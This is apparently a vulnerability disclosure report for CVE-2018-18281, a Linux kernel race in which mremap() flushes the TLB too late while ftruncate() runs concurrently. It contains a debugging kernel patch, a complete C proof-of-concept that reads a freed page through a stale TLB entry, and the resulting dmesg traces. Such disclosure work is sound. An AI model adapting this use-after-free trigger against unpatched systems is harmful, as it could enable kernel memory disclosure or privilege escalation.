Linux: mremap() TLB flush too late with concurrent ftruncate() 

CVE-2018-18281


Tested on the master branch (4.19.0-rc7+).

sys_mremap() takes current->mm->mmap_sem for writing, then calls
mremap_to()->move_vma()->move_page_tables(). move_page_tables() first
calls move_ptes() (which takes PTE locks, moves PTEs, and drops PTE
locks) in a loop, then performs a TLB flush with flush_tlb_range().
move_ptes() can also perform TLB flushes, but only when dirty PTEs are
encountered - non-dirty, accessed PTEs don't trigger such early flushes.
Between the move_ptes() loop and the TLB flush, the only lock being
held in move_page_tables() is current->mm->mmap_sem.

sys_ftruncate()->do_sys_ftruncate()->do_truncate()->notify_change()
->shmem_setattr()->unmap_mapping_range()->unmap_mapping_pages()
->unmap_mapping_range_tree()->unmap_mapping_range_vma()
->zap_page_range_single() can concurrently access the page tables of a
process that is in move_page_tables(), between the move_ptes() loop
and the TLB flush.

The following race can occur in a process with three threads A, B and C:

A: maps a file of size 0x1000 at address X, with PROT_READ and MAP_SHARED
C: starts reading from address X in a busyloop
A: starts an mremap() call that remaps from X to Y; syscall progresses
   until directly before the flush_tlb_range() call in
   move_page_tables().
[at this point, the PTE for X is gone, but C still has a read-only TLB
entry for X; the PTE for Y has been created]
B: uses sys_ftruncate() to change the file size to zero. this removes
   the PTE for address Y, then sends a TLB flush IPI *for address Y*.
   TLB entries *for address X* stays alive.

The kernel now assumes that the page is not referenced by any
userspace task anymore, but actually, thread C can still use the stale
TLB entry at address X to read from it.

At this point, the page can be freed as soon as it disappears from the
LRU list (which I don't really understand); it looks like there are
various kernel interfaces that can be used to trigger
lru_add_drain_all(). For simplicitly, I am using root privileges to
write to /proc/sys/vm/compact_memory in order to trigger this.


To test this, I configured my kernel with PAGE_TABLE_ISOLATION=n,
CONFIG_PREEMPT=y, CONFIG_PAGE_POISONING=y, and used the kernel
commandline flag "page_poison=1". I patched the kernel as follows to
widen the race window (and make debugging easier). A copy of the patch
is attached.

===========
diff --git a/arch/x86/mm/tlb.c b/arch/x86/mm/tlb.c
index e96b99eb800c..8156628a6204 100644
--- a/arch/x86/mm/tlb.c
+++ b/arch/x86/mm/tlb.c
@@ -567,6 +567,11 @@ static void flush_tlb_func_remote(void *info)
        if (f->mm && f->mm != this_cpu_read(cpu_tlbstate.loaded_mm))
                return;
 
+       if (strcmp(current->comm, "race2") == 0) {
+               pr_warn("remotely-triggered TLB shootdown: start=0x%lx end=0x%lx\n",
+                       f->start, f->end);
+       }
+
        count_vm_tlb_event(NR_TLB_REMOTE_FLUSH_RECEIVED);
        flush_tlb_func_common(f, false, TLB_REMOTE_SHOOTDOWN);
 }
diff --git a/mm/compaction.c b/mm/compaction.c
index faca45ebe62d..27594b4868ec 100644
--- a/mm/compaction.c
+++ b/mm/compaction.c
@@ -1852,11 +1852,15 @@ static void compact_nodes(void)
 {
        int nid;
 
+       pr_warn("compact_nodes entry\n");
+
        /* Flush pending updates to the LRU lists */
        lru_add_drain_all();
 
        for_each_online_node(nid)
                compact_node(nid);
+
+       pr_warn("compact_nodes exit\n");
 }
 
 /* The written value is actually unused, all memory is compacted */
diff --git a/mm/mremap.c b/mm/mremap.c
index 5c2e18505f75..be34e0a7258e 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -186,6 +186,7 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
                flush_tlb_range(vma, old_end - len, old_end);
        else
                *need_flush = true;
+
        pte_unmap_unlock(old_pte - 1, old_ptl);
        if (need_rmap_locks)
                drop_rmap_locks(vma);
@@ -248,8 +249,18 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
                move_ptes(vma, old_pmd, old_addr, old_addr + extent, new_vma,
                          new_pmd, new_addr, need_rmap_locks, &need_flush);
        }
-       if (need_flush)
+       if (need_flush) {
+               if (strcmp(current->comm, "race") == 0) {
+                       int i;
+                       pr_warn("spinning before flush\n");
+                       for (i=0; i<100000000; i++) barrier();
+                       pr_warn("spinning before flush done\n");
+               }
                flush_tlb_range(vma, old_end-len, old_addr);
+               if (strcmp(current->comm, "race") == 0) {
+                       pr_warn("flush done\n");
+               }
+       }
 
        mmu_notifier_invalidate_range_end(vma->vm_mm, mmun_start, mmun_end);
 
diff --git a/mm/page_poison.c b/mm/page_poison.c
index aa2b3d34e8ea..5ffe8b998573 100644
--- a/mm/page_poison.c
+++ b/mm/page_poison.c
@@ -34,6 +34,10 @@ static void poison_page(struct page *page)
 {
        void *addr = kmap_atomic(page);
 
+       if (*(unsigned long *)addr == 0x4141414141414141UL) {
+               WARN(1, "PAGE FREEING BACKTRACE");
+       }
+
        memset(addr, PAGE_POISON, PAGE_SIZE);
        kunmap_atomic(addr);
 }
diff --git a/mm/shmem.c b/mm/shmem.c
index 446942677cd4..838b5f77cc0e 100644
--- a/mm/shmem.c
+++ b/mm/shmem.c
@@ -1043,6 +1043,11 @@ static int shmem_setattr(struct dentry *dentry, struct iattr *attr)
                }
                if (newsize <= oldsize) {
                        loff_t holebegin = round_up(newsize, PAGE_SIZE);
+
+                       if (strcmp(current->comm, "race") == 0) {
+                               pr_warn("shmem_setattr entry\n");
+                       }
+
                        if (oldsize > holebegin)
                                unmap_mapping_range(inode->i_mapping,
                                                        holebegin, 0, 1);
@@ -1054,6 +1059,10 @@ static int shmem_setattr(struct dentry *dentry, struct iattr *attr)
                                unmap_mapping_range(inode->i_mapping,
                                                        holebegin, 0, 1);
 
+                       if (strcmp(current->comm, "race") == 0) {
+                               pr_warn("shmem_setattr exit\n");
+                       }
+
                        /*
                         * Part of the huge page can be beyond i_size: subject
                         * to shrink under memory pressure.
===========


Then, I ran the following testcase a few times (compile with
"gcc -O2 -o race race.c -pthread"; note that the filename matters for
the kernel patch):

===========
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>

#define ul unsigned long

static int alloc_fd = -1;
#define allocptr ((ul *)0x100000000000)
#define allocptr2 ((ul *)0x100000002000)

void *reader_fn(void *dummy) {
  prctl(PR_SET_NAME, "race2");
  while (1) {
    ul x = *(volatile ul *)allocptr;
    if (x != 0x4141414141414141UL) {
      printf("GOT 0x%016lx\n", x);
    }
  }
}

void *truncate_fn(void *dummy) {
  if (ftruncate(alloc_fd, 0)) err(1, "ftruncate");
  int sysctl_fd = open("/proc/sys/vm/compact_memory", O_WRONLY);
  if (sysctl_fd == -1) err(1, "unable to open sysctl");
  write(sysctl_fd, "1", 1);
  sleep(1);
  return 0;
}

int main(void) {
  alloc_fd = open("/dev/shm/race_demo", O_RDWR|O_CREAT|O_TRUNC, 0600);
  if (alloc_fd == -1) err(1, "open");
  char buf[0x1000];
  memset(buf, 0x41, sizeof(buf));
  if (write(alloc_fd, buf, sizeof(buf)) != sizeof(buf)) err(1, "write");
  if (mmap(allocptr, 0x1000, PROT_READ, MAP_SHARED, alloc_fd, 0) != allocptr) err(1, "mmap");

  pthread_t reader;
  if (pthread_create(&reader, NULL, reader_fn, NULL)) errx(1, "thread");
  sleep(1);

  pthread_t truncator;
  if (pthread_create(&truncator, NULL, truncate_fn, NULL)) err(1, "thread2");

  if (mremap(allocptr, 0x1000, 0x1000, MREMAP_FIXED|MREMAP_MAYMOVE, allocptr2) != allocptr2) err(1, "mremap");
  sleep(1);
  return 0;
}
===========

After a few attempts, I get the following output:

===========
user@debian:~/mremap_ftruncate_race$ sudo ./race
GOT 0xaaaaaaaaaaaaaaaa
Segmentation fault
user@debian:~/mremap_ftruncate_race$ 
===========

Note that 0xaaaaaaaaaaaaaaaa is PAGE_POISON.

dmesg reports:
===========
shmem_setattr entry
shmem_setattr exit
spinning before flush
shmem_setattr entry
remotely-triggered TLB shootdown: start=0x100000002000 end=0x100000003000
shmem_setattr exit
compact_nodes entry
------------[ cut here ]------------
PAGE FREEING BACKTRACE
WARNING: CPU: 5 PID: 1334 at mm/page_poison.c:38 kernel_poison_pages+0x10a/0x180
Modules linked in: btrfs xor zstd_compress raid6_pq
CPU: 5 PID: 1334 Comm: kworker/5:1 Tainted: G        W         4.19.0-rc7+ #188
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
Workqueue: mm_percpu_wq lru_add_drain_per_cpu
RIP: 0010:kernel_poison_pages+0x10a/0x180
[...]
Call Trace:
 free_pcp_prepare+0x45/0xb0
 free_unref_page_list+0x7c/0x1b0
 ? __mod_zone_page_state+0x66/0xa0
 release_pages+0x178/0x390
 ? pagevec_move_tail_fn+0x2b0/0x2b0
 pagevec_lru_move_fn+0xb1/0xd0
 lru_add_drain_cpu+0xe0/0xf0
 lru_add_drain+0x1b/0x40
 process_one_work+0x1eb/0x400
 worker_thread+0x2d/0x3d0
 ? process_one_work+0x400/0x400
 kthread+0x113/0x130
 ? kthread_create_worker_on_cpu+0x70/0x70
 ret_from_fork+0x35/0x40
---[ end trace aed8d7b167ea0097 ]---
compact_nodes exit
spinning before flush done
flush done
race2[1430]: segfault at 100000000000 ip 000055f56e711b98 sp 00007f02d7823f40 error 4 in race[55f56e711000+1000]
[...]
===========


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh